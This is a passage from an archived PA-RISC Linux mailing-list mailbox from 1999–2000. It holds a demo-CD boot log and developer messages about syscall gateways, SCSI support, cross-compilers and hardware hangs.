3. Raven U/L2 Core RS-232 (10) at 0xffd05000, versions 0x3b, 0x0, 0x8c, 0x0=
, 0x0=0D
4. Raven U/L2 Core SCSI (10) at 0xffd06000, versions 0x3b, 0x0, 0x82, 0x0, =
0x0=0D
5. Raven U/L2 Core Lan (802.3) (10) at 0xffd07000, versions 0x3b, 0x0, 0x8a=
, 0x0, 0x0=0D
6. UL 350 Core Centronics (10) at 0xffd02000, versions 0x2e, 0x0, 0x74, 0x0=
, 0x0=0D
7. Raven U/L2 Core Audio (10) at 0xffd04000, versions 0x3b, 0x4, 0x7b, 0x0,=
 0x0=0D
8. Raven U/L2 Core PC Keyboard (10) at 0xffd08000, versions 0x3b, 0x0, 0x84=
, 0x0, 0x0=0D
9. Raven U/L2 Core PC Keyboard (10) at 0xffd08100, versions 0x3b, 0x0, 0x84=
, 0x0, 0x0=0D
10. Raven Backplane Wax BA (11) at 0xffe00000, versions 0x17, 0x0, 0x8e, 0x=
0, 0x0=0D
11. Raven Backplane Wax EISA BA (11) at 0xfc000000, versions 0x17, 0x0, 0x9=
0, 0x0, 0x0=0D
12. Raven Backplane Wax HIL (10) at 0xffe01000, versions 0x17, 0x0, 0x73, 0=
x0, 0x0=0D
13. Raven Backplane RS-232 (10) at 0xffe02000, versions 0x17, 0x0, 0x8c, 0x=
0, 0x0=0D
14. Gecko GSC Core Graphics (10) at 0xfa000000, versions 0x16, 0x0, 0x85, 0=
x0, 0x0=0D
15. U2-IOA BC GSC+ Port (7) at 0xf203f000, versions 0x501, 0x1, 0xc, 0x3, 0=
x0=0D
16. U2-IOA BC GSC+ Port (7) at 0xf103f000, versions 0x501, 0x1, 0xc, 0x3, 0=
x0=0D
17. Dino PCI Bridge (13) at 0xf2000000, versions 0x680, 0x1, 0xa, 0x0, 0x0=
=0D
That's a total of 17 devices.=0D
Linux version 2.4.0-test6 (krp@localhost.localdomain) (gcc version 2.96 200=
00707 (experimental)) #34 Sun Aug 27 19:33:37 CDT 2000=0D
initrd: 00000000-00000000=0D
pagetable_init=0D
On node 0 totalpages: 32768=0D
zone(0): 16384 pages.=0D
zone(1): 16384 pages.=0D
zone(2): 0 pages.=0D
Kernel command line: HOME=3D/ TERM=3DLINUX root=3D/dev/nfs nfsroot=3D192.16=
8.0.7 =0D
trap_init=0D
Calibrating delay loop... 286.72 BogoMIPS=0D
Memory: 125676k available=0D
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)=0D
Buffer-cache hash table entries: 8192 (order: 3, 32768 bytes)=0D
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)=0D
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)=0D
POSIX conformance testing by UNIFIX=0D
Lasi version 0 at 0xffd00000 found.=0D
Wax at 0xffe00000 found.=0D
Wax: HIL Keyboard-NMI registered.=0D
parport0: PC-style at 0xffd02800, irq 536 [PCSPP,TRISTATE]=0D
Found i82596 at 0xffd07000, IRQ 535=0D
early initialization of device eth0 is deferred=0D
Initializing lasi keyboard port at 0xffd08000...=0D
Initializing lasi mouse port at 0xffd08100...=0D
Found HIL at 0xffe01000, IRQ 798=0D
No handler for interrupt 259 !=0D
HIL: timed out, assuming no keyboard present.=0D
Warning : device (10, 0x17, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715 or =
similiar=0D
Dino version 2.1 (bridge mode) found at 0xf2000000=0D
=0D
=0D
The GSCtoPCI (Dino hrev 1) bus converter found may exhibit=0D
data corruption.  See Service Note Numbers: A4190A-01, A4191A-01.=0D
Systems shipped after Aug 20, 1997 will not exhibit this problem.=0D
Models affected: C180, C160, C160L, B160L, and B132L workstations.=0D
=0D
dino_bridge_init: IO_ADDR_EN hasn't been configured.=0D
kernel BUG at dino.c:646!=0D
ccio found U2 GSC+ BC at 0xf203f000=0D
ccio_alloc_pdir hpa 0xfff88000 mem 128MB IOV 8MB (23 bits)=0D
    PDIR size 0x4000 base c7f90000 chainid_shift 0xf=0D
ccio_resmap_init() res_size 0x100=0D
ccio found U2 GSC+ BC at 0xf103f000=0D
ccio: already initialized one device=0D
Linux NET4.0 for Linux 2.4=0D
Based upon Swansea University Computer Society NET3.039=0D
NET4: Linux TCP/IP 1.0 for NET4.0=0D
IP Protocols: ICMP, UDP, TCP=0D
IP: routing cache hash table of 1024 buckets, 8Kbytes=0D
TCP: Hash tables configured (established 8192 bind 8192)=0D
Starting kswapd v1.7=0D
pty: 256 Unix98 ptys configured=0D
lp0: using parport0 (interrupt-driven).=0D
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize=0D
sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 534=0D
scsi0: Revision 0x2=0D
Post test1, istat 01, sstat0 00, dstat 84=0D
sim700: WARNING IRQ probe failed, (returned 0)=0D
scsi0: Good, target data areas are dma coherent=0D
scsi0: test 1 completed ok.=0D
scsi0: sim700_intr_handle() called with no interrupt=0D
zalon_scsi_callback: Zalon vers field is 0x1, IRQ 260=0D
ncr53c8xx: 53c720 detected=0D
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential=0D
ncr53c720-0: restart (scsi reset).=0D
scsi0 : LASI/Simple 53c7xx=0D
scsi1 : ncr53c8xx - version 3.3b=0D
scsi : 2 hosts.=0D
  Vendor: TOSHIBA   Model: CD-ROM XM-5401TA  Rev: 1036=0D
  Type:   CD-ROM                             ANSI SCSI revision: 02=0D
Detected scsi CD-ROM sr0 at scsi0, channel 0, id 2, lun 0=0D
  Vendor: SEAGATE   Model: ST34371W          Rev: HP03=0D
  Type:   Direct-Access                      ANSI SCSI revision: 02=0D
Detected scsi disk sda at scsi1, channel 0, id 6, lun 0=0D
ncr53c720-0-<6,0>: tagged command queue depth set to 8=0D
scsi : detected 1 SCSI cdrom 1 SCSI disk total.=0D
Uniform CD-ROM driver Revision: 3.11=0D
ncr53c720-0-<6,0>: wide msgout: 1-2-3-1.=0D
ncr53c720-0-<6,0>: wide msgin: 1-2-3-1.=0D
ncr53c720-0-<6,0>: wide: wide=3D1 chg=3D0.=0D
ncr53c720-0-<6,0>: sync_msgout: 1-3-1-19-8.=0D
ncr53c720-0-<6,0>: sync msgin: 1-3-1-19-8.=0D
ncr53c720-0-<6,0>: sync: per=3D25 scntl3=3D0x10 ofs=3D8 fak=3D0 chg=3D0.=0D
ncr53c720-0-<6,*>: FAST-10 WIDE SCSI 20.0 MB/s (100 ns, offset 8)=0D
SCSI device sda: hdwr sector=3D 512 bytes. Sectors=3D 8388314 [4095 MB] [4.=
1 GB]=0D
Partition check:=0D
 sda: unknown partition table=0D
eth0: 82596 at 0xffd07000, 00 60 B0 18 39 C0 IRQ 535.=0D
82596.c $Revision: 1.12 $=0D
Serial driver version 5.01 (2000-05-29) with MANY_PORTS SHARE_IRQ SERIAL_PC=
I enabled=0D
Found serial #0 at 0xffd05000, IRQ 538=0D
ttyS00 at iomem 0xffd05800 (irq =3D 538) is a 16550A=0D
Found serial #1 at 0xffe02000, IRQ 793=0D
ttyS01 at iomem 0xffe02800 (irq =3D 793) is a 16550A=0D
eth0: link ok.=0D
Sending BOOTP requests.... OK=0D
IP-Config: Got BOOTP answer from 192.168.0.1, my address is 192.168.0.250=0D
Switching from PDC console=0D
kmem_create: Forcing size word alignment - nfs_fh
=0DLooking up port of RPC 100003/2 on 192.168.0.7
=0DLooking up port of RPC 100005/2 on 192.168.0.7
=0DVFS: Mounted root (nfs filesystem) readonly.
=0Dexecve /sbin/init c0272008 c0272030
=0DFri Aug  4 01:33:00 /home/bame/xc/hppa 2000=0D
dd: /dev/zero: Bad address=0D
0+0 records in=0D
0+0 records out=0D
mke2fs 1.19-WIP, 7-Jul-2000 for EXT2 FS 0.5b, 95/08/09=0D
ext2fs_check_if_mount: No such file or directory while determining whether =
/dev/ram is mounted.=0D=0D
Filesystem label=3D=0D
OS type: Linux=0D
Block size=3D1024 (log=3D0)=0D
Fragment size=3D1024 (log=3D0)=0D
1024 inodes, 4096 blocks=0D
0 blocks (0.00%) reserved for the super user=0D
First data block=3D1=0D
1 block group=0D
8192 blocks per group, 8192 fragments per group=0D
1024 inodes per group=0D
=0D
Writing inode tables: 0/1=08=08=08done                            =0D
Writing superblocks and filesystem accounting information: done=0D
=0D
		Welcome to PA/Linux release 0.1=0D
	    (release 0.1 means don't expect much from it!)=0D
=0D
In addition to the bootable image, this CD contains cross compilers,=0D
source code, and documentation.  You can initialize a bootable PA-RISC=0D
hard disk from this CD too.  Read /README to find out more.=0D
=0D
Since progress never stops, by the time you boot this it'll be out of=0D
date, so check out http://www.thepuffingroup.com/parisc/ for the latest.=0D
=0D
Login as a superuser     login: root password: root=0D
   or as a normal user   login: demo password: demo=0D
=0D
=0D
=0D
h47clk1p login: Login timed out after 60 seconds=0D

--HcAYCG3uE/tztfnV--


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Shalayeff <mickey@lucifier.dial-up.user.akula.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Fri, 26 Mar 1999 12:03:26 -0500 (EST)
Lines: 43
Approved: news@gmane.org
Message-ID: <199903261703.MAA19278@lucifier.dial-up.user.akula.net>
References: <36FB6BA6.C5F70C93@netscape.com>
Reply-To: mickey@openbsd.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619085 3101 80.91.229.3 (22 Nov 2014 01:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:05 +0000 (UTC)
Cc: mickey@openbsd.org, hppa-linux@thepuffingroup.com
To: shaver@netscape.com (Mike Shaver)
Original-X-From: mickey@lucifier.dial-up.user.akula.net  Fri Mar 26 12:03:59 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA17510
	for <hppa-linux@sod.res.cmu.edu>; Fri, 26 Mar 1999 12:03:59 -0500
Original-Received: (qmail 25438 invoked by uid 15267); 26 Mar 1999 17:02:46 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 25426 invoked from network); 26 Mar 1999 17:02:45 -0000
Original-Received: from lucifier.dial-up.user.akula.net (208.140.175.58)
  by mailserv2.iuinc.com with SMTP; 26 Mar 1999 17:02:45 -0000
Original-Received: (from mickey@localhost)
	by lucifier.dial-up.user.akula.net (8.9.2/8.9.2) id MAA19278;
	Fri, 26 Mar 1999 12:03:26 -0500 (EST)
In-Reply-To: <36FB6BA6.C5F70C93@netscape.com> from Mike Shaver at "Mar 26, 99 06:12:38 am"
X-Flames-To: /dev/null
X-Mailer: ELM [version 2.4ME+ PL32 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7814

Making, drinking tea and reading an opus magnum from Mike Shaver:
> Michael Shalayeff wrote:
> > Making, drinking tea and reading an opus magnum from Mike Shaver:
> > > While we're on the topic, though: why 0xC0000004 and not 0xC0000000 as
> > 0xC0000004 is because hpux uses it (;
> Actually, I meant ``why does HP-UX use that address?''. =)
my guess is NULL-challenge (:

> > dunno about linux's binary emulation principles, but for
> > all bsd's the emulation parameters pointer is located in the proc
> > structure, which allows syscall emulation to work even all
> > the emulated os'es are using the same syscall entry point (on some
> > architectures there might be only one possible way for syscall, 4 xampl)
> 
> Yes, we can do that too (and do on SPARC for Solaris at least, perhaps
> SunOS as well), but it seems less efficient than just using different
> syscall numbers or -- in the case of lovely hardware like PA-RISC --
> using a different gateway address.
ok, valid.
let's think what is less efficient: extra mapped page, or
extra indirrect ptr reference?
my point is, why map extra page (and waiste extra page) ?
one page is 128 page dir entries, hehe (; returning to the pd discussion)

> > > the target address?  (Although there are other bugs, like ``ldo 5,%r22''
> > > instead of ``ldi 5,%r22'' in the Assembler Ref as well, so maybe this is
> > > another?)
> > there is no such pa-risc instruction like ldi, it's a pseudo-asm-insn
> > which is actually ldo imm(0), rt
> > the whole pa-risc asm is full of pseudo-insns (like comb, comib, b(ranch))
> 
> That I know, but ``ldo 5,%r22'' is illegal syntax (according to gas and
> the assembler reference, anyway), and that's what appears in the
> Assembler Ref.
ah, oh, that's too bad.
i guess i've made the typo/reado as they did in the manual (:
(btw, 'i' and 'o' are very close on the kbd ;)

cu

-- 
    paranoic mickey       (my employers have changed but, the name has remained)


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Craig Miller <craig.miller@bigfoot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 735/125 hangs w/latest kernel
Date: Mon, 28 Aug 2000 00:16:34 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <000e01c010bf$e6166840$8391a140@spatialminds.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_000B_01C01085.395F5E20"
X-Trace: ger.gmane.org 1416619085 3103 80.91.229.3 (22 Nov 2014 01:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:05 +0000 (UTC)
To: PARISC-L <parisc-linux@thepuffingroup.com>
Original-X-From: craig.miller@bigfoot.com  Mon Aug 28 01:12:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA12882
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 01:12:22 -0600
Original-Received: (qmail 19546 invoked by uid 15267); 28 Aug 2000 07:12:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19536 invoked from network); 28 Aug 2000 07:12:23 -0000
Original-Received: from mta5.snfc21.pbi.net (206.13.28.241)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 07:12:23 -0000
Original-Received: from cassini ([64.161.145.131])
 by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9)
 with SMTP id <0FZZ00LB7QM0RS@mta5.snfc21.pbi.net> for
 parisc-linux@thepuffingroup.com; Mon, 28 Aug 2000 00:10:48 -0700 (PDT)
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Priority: 3
Xref: news.gmane.org gmane.linux.ports.parisc:7815

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C01085.395F5E20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

In the interest of providing useful feedback:

My HP 735/125 box hangs when booting the demo CD.  It gets to

...
ASP version 20 at oxf08000000 found.
request_irq(250, c01ec76c, 0x0, asp, c4ff5080)=20

and then just hangs.

I would be happy to work with someone if they are interested in testing =
on an HP 735/125.

--Craig


------=_NextPart_000_000B_01C01085.395F5E20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.600" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>In the interest of providing useful=20
feedback:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>My HP 735/125 box hangs when booting =
the demo=20
CD.&nbsp; It gets to</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>ASP version 20 at oxf08000000 =
found.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>request_irq(250, c01ec76c, 0x0, asp, =
c4ff5080)=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>and then just hangs.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>I would be happy to work with someone if they are interested in =
testing on=20
an HP 735/125.</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>--Craig</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_000B_01C01085.395F5E20--


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit cross compiler broken
Date: Mon, 28 Aug 2000 07:26:37 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20000828072637.T29677@vodka.thepuffingroup.com>
References: <E13SRJl-0001kq-00@noam.fc.hp.com> <E13SSjR-00050l-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619085 3110 80.91.229.3 (22 Nov 2014 01:18:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:05 +0000 (UTC)
Cc: Alan Modra <amodra@puffin.external.hp.com>,
        parisc-linux@thepuffingroup.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: willy@thepuffingroup.com  Mon Aug 28 06:31:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA16076
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 06:31:55 -0600
Original-Received: (qmail 12074 invoked by uid 15267); 28 Aug 2000 12:31:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12066 invoked from network); 28 Aug 2000 12:31:56 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 12:31:56 -0000
Original-Received: (qmail 12221 invoked from network); 28 Aug 2000 12:31:52 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 28 Aug 2000 12:31:52 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA16992;
	Mon, 28 Aug 2000 07:26:37 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <E13SSjR-00050l-00@noam.fc.hp.com>; from Paul Bame on Fri, Aug 25, 2000 at 05:17:53PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7816

On Fri, Aug 25, 2000 at 05:17:53PM -0600, Paul Bame wrote:
> = 
> = The current 64-bit cross compiler dies on drivers/block/rd.c
> = 
> 
> Another 64-bit gotcha: in arch/parisc64/kernel/entry.S:start_parisc_asm
> the 'b start_parisc' is branching through a stub and failing miserably.
> Linker problem?

Wow, you're getting to start_parisc_asm?!  Neat!  You can take it out
now, just branch directly to start_parisc instead -- i only put it in
so that i knew what was being executed, rather than having to decode
what the C was doing.  That doesn't necessarily mean that there isn't
a problem, but we should be able to get further than that.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FW Scsi support?
Date: Mon, 28 Aug 2000 07:29:36 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20000828072936.U29677@vodka.thepuffingroup.com>
References: <20000827165229.A18560@data.upl.cs.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619086 3115 80.91.229.3 (22 Nov 2014 01:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Erik Paulson <epaulson@upl.cs.wisc.edu>
Original-X-From: willy@thepuffingroup.com  Mon Aug 28 06:34:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA16337
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 06:34:35 -0600
Original-Received: (qmail 13872 invoked by uid 15267); 28 Aug 2000 12:34:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13863 invoked from network); 28 Aug 2000 12:34:36 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 12:34:36 -0000
Original-Received: (qmail 12513 invoked from network); 28 Aug 2000 12:34:32 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 28 Aug 2000 12:34:32 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA17005;
	Mon, 28 Aug 2000 07:29:36 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000827165229.A18560@data.upl.cs.wisc.edu>; from Erik Paulson on Sun, Aug 27, 2000 at 04:52:29PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7817

On Sun, Aug 27, 2000 at 04:52:29PM -0500, Erik Paulson wrote:
> Hi
> 	I'm trying to get my C100 and C160 to boot with the CD image. Everything
> seems fine, except they don't see the SCSI disk I've got - only the CDROM.
> 
> My guess is that they're angry about it being on the FWSCSI, (my CDROM is
> on SESCSI)
> 
> Is Fastwide SCSI supported? If not, what needs to be done? I didn't see how
> to turn it on with 'make config'. Are there docs availble for this hardware?

You need to enable Zalon support.  Not sure where that is in the config
section.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: PG61 YSZhang <YSZhang@Winbond.com.tw>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] how to build glibc for hppa1.1-linux
Date: Mon, 28 Aug 2000 13:52:54 +0800
Lines: 9
Approved: news@gmane.org
Message-ID: <390CB19665B1D311A3A900508B5C38660105A0@WESHML01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416619086 3121 80.91.229.3 (22 Nov 2014 01:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:06 +0000 (UTC)
To: "'gcc-info@thepuffingroup.com'" <gcc-info@thepuffingroup.com>
Original-X-From: willy@thepuffingroup.com  Mon Aug 28 06:35:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA16445
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 06:35:06 -0600
Resent-From: willy@thepuffingroup.com
Original-Received: (qmail 14367 invoked by uid 15267); 28 Aug 2000 12:35:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14359 invoked from network); 28 Aug 2000 12:35:06 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 12:35:06 -0000
Original-Received: (qmail 12593 invoked from network); 28 Aug 2000 12:35:03 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 28 Aug 2000 12:35:03 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA17011
	for parisc-linux@thepuffingroup.com; Mon, 28 Aug 2000 07:30:06 -0400
Resent-Message-Id: <200008281130.HAA17011@vodka.thepuffingroup.com>
Original-Received: from localhost (IDENT:willy@localhost [127.0.0.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id AAA16480
	for <willy@localhost>; Mon, 28 Aug 2000 00:55:15 -0400
Delivered-To: thepuffi-willy@thepuffingroup.com
Original-Received: from mail.thepuffingroup.com
	by localhost with POP3 (fetchmail-5.0.0)
	for willy@localhost (single-drop); Mon, 28 Aug 2000 00:55:32 -0400 (EDT)
Original-Received: (qmail 18006 invoked from network); 28 Aug 2000 05:57:40 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 05:57:40 -0000
Original-Received: (qmail 10900 invoked by uid 751); 28 Aug 2000 05:57:37 -0000
Delivered-To: willy@linuxcare.com
Original-Received: (qmail 10897 invoked from network); 28 Aug 2000 05:57:37 -0000
Original-Received: from mailserv2.iuinc.com (qmailr@206.245.164.55)
  by smtp.linuxcare.com with SMTP; 28 Aug 2000 05:57:37 -0000
Original-Received: (qmail 17964 invoked by uid 15267); 28 Aug 2000 05:57:38 -0000
Delivered-To: thepuffi-gcc-info@thepuffingroup.com
Original-Received: (qmail 17955 invoked from network); 28 Aug 2000 05:57:36 -0000
Original-Received: from wehq.winbond.com.tw (202.39.229.15)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 05:57:36 -0000
Original-Received: from wehqimc.winbond.com.tw (wehqimc [10.2.6.99])
	by wehq.winbond.com.tw (8.10.0/8.10.0) with ESMTP id e7S5v7n24149
	for <gcc-info@thepuffingroup.com>; Mon, 28 Aug 2000 13:57:07 +0800 (CST)
Original-Received: by WEHQIMC with Internet Mail Service (5.5.2650.21)
	id <QV4JV51H>; Mon, 28 Aug 2000 13:57:02 +0800
X-Mailer: Internet Mail Service (5.5.2650.21)
Resent-Date: Mon, 28 Aug 2000 07:30:06 -0400
Resent-To: parisc-linux@thepuffingroup.com
Xref: news.gmane.org gmane.linux.ports.parisc:7818

On http://www.thepuffingroup.com/parisc/recipe.html, I can get informations
on how to build binutils , gcc and kernel for hppa1.1. But I can not learn
how to configure and make glibc (target:hppa1.1-linux) on X86 Linux, so
would you give me a direction. 
Thanks
			
				YSZhang
				2000/8/28


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] My toolchain whoes...
Date: Mon, 28 Aug 2000 07:35:54 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20000828073554.V29677@vodka.thepuffingroup.com>
References: <39A85787.6A917C57@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619086 3129 80.91.229.3 (22 Nov 2014 01:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Hudson <mhudson@home.com>
Original-X-From: willy@thepuffingroup.com  Mon Aug 28 06:40:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA16890
	for <parisc-linux@puffin.external.hp.com>; Mon, 28 Aug 2000 06:40:53 -0600
Original-Received: (qmail 18451 invoked by uid 15267); 28 Aug 2000 12:40:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18444 invoked from network); 28 Aug 2000 12:40:54 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 28 Aug 2000 12:40:54 -0000
Original-Received: (qmail 13174 invoked from network); 28 Aug 2000 12:40:51 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 28 Aug 2000 12:40:51 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id HAA17024;
	Mon, 28 Aug 2000 07:35:54 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <39A85787.6A917C57@home.com>; from Matthew Hudson on Sat, Aug 26, 2000 at 06:49:27PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7819

On Sat, Aug 26, 2000 at 06:49:27PM -0500, Matthew Hudson wrote:
> 
> >From a gcc -E -dD

I needed the whole file for that, not just the bit where it goes wrong.

Please send it to me off-list as it'll be a few hundred k, i bet.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
